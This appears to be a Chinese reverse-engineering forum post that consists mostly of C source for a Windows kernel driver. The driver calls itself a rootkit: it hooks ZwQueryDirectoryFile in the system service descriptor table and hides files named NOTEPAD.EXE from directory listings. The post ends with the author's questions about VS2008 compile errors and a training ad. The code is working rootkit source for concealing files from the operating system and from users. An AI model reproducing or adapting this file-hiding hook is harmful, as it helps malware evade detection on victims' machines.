#include "ntddk.h"
#define BOOL int
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//定义FILE_INFORMATION_CLASS的第3号结构：_FILE_BOTH_DIR_INFORMATION，这个结构是ZwQueryDirectoryFile必须参数。
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
//先申明ZwQueryDirectoryFile
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
//定义ZwQueryDirectoryFile的原型
typedef NTSTATUS (*REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
//定义一个原函数指针
REALZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile;
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called\n");
// 卸载hook
UNHOOK_SYSCALL( ZwQueryDirectoryFile, OldZwQueryDirectoryFile,NewZwQueryDirectoryFile);
// 解索并释放MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
//定义替换API函数的原型
NTSTATUS NewZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS status;
ULONG CR0VALUE;
ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
UNICODE_STRING uniFileName;
//初始化要过虑的文件名
RtlInitAnsiString(&HideDirFile,"NOTEPAD.EXE");
// 执行真正的ZwQueryDirectoryFile函数
status = ((REALZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
/*如果执行成功（而且FILE_INFORMATION_CLASS的值为FileBothDirectoryInformation，我们就进行处理，过滤*/
if(NT_SUCCESS(status)&& (FileInfoClass == FileBothDirectoryInformation))
{
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
BOOL bLastOne;
//把执行结果赋给pFileInfo
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
pLastFileInfo = NULL;
//循环检查
do
{
bLastOne = !( pFileInfo->NextEntryOffset );//如果NextEntryOffset为0说明是最后一项 while会根据bLastOne结束循环
RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);//转成大写
// 开始进行比较，如果找到了就隐藏这个文件或者目录
if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
{
DbgPrint("This is HideDirFile!\n");
if(bLastOne)//bLastOne非0 说明这条记录是最后的一条记录
{
if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
{
status = 0x80000006;
}
else
{
pLastFileInfo->NextEntryOffset = 0;//如果我们要隐藏最后一个记录就把它的NextEntryOffset改为0，
}
break;
}
else //指针往后移动
{
int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
int iLeft = (ULONG)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (ULONG)iLeft );
continue;
}
}
pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
}while(!bLastOne);
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(status);
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
DbgPrint("ROOTKIT: Start\n");
theDriverObject->DriverUnload = OnUnload;
OldZwQueryDirectoryFile =(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); // 储存旧的函数地址
if(!g_pmdlSystemCall)
{
return STATUS_UNSUCCESSFUL;
}
MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // 改变MDL的Flags属性为可写，既然可写当然可读，可执行
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); // 用了宏，把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步，先突破了SSDT的保护，接着用宏更改了目标函数，下来就剩下具体的过滤任务了
HOOK_SYSCALL( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile );
return STATUS_SUCCESS;
}
这句出现错误：HOOK_SYSCALL( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile );
error C2440: '=' : cannot convert from 'PVOID' to 'REALZWQUERYDIRECTORYFILE'
另外'MmCreateMdl' was declared deprecated
另外许多关于HOOK SSDT的源码在VS2008下均无法编译，
甚至出现error C2106: '=' : left operand must be l-value，
但是以上的代码利用DDK build environment编译完全正常，但是在VS2008下不能正常编译，出现一些奇怪现象，希望高手们多讲一下你们用什么编译驱动的
[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
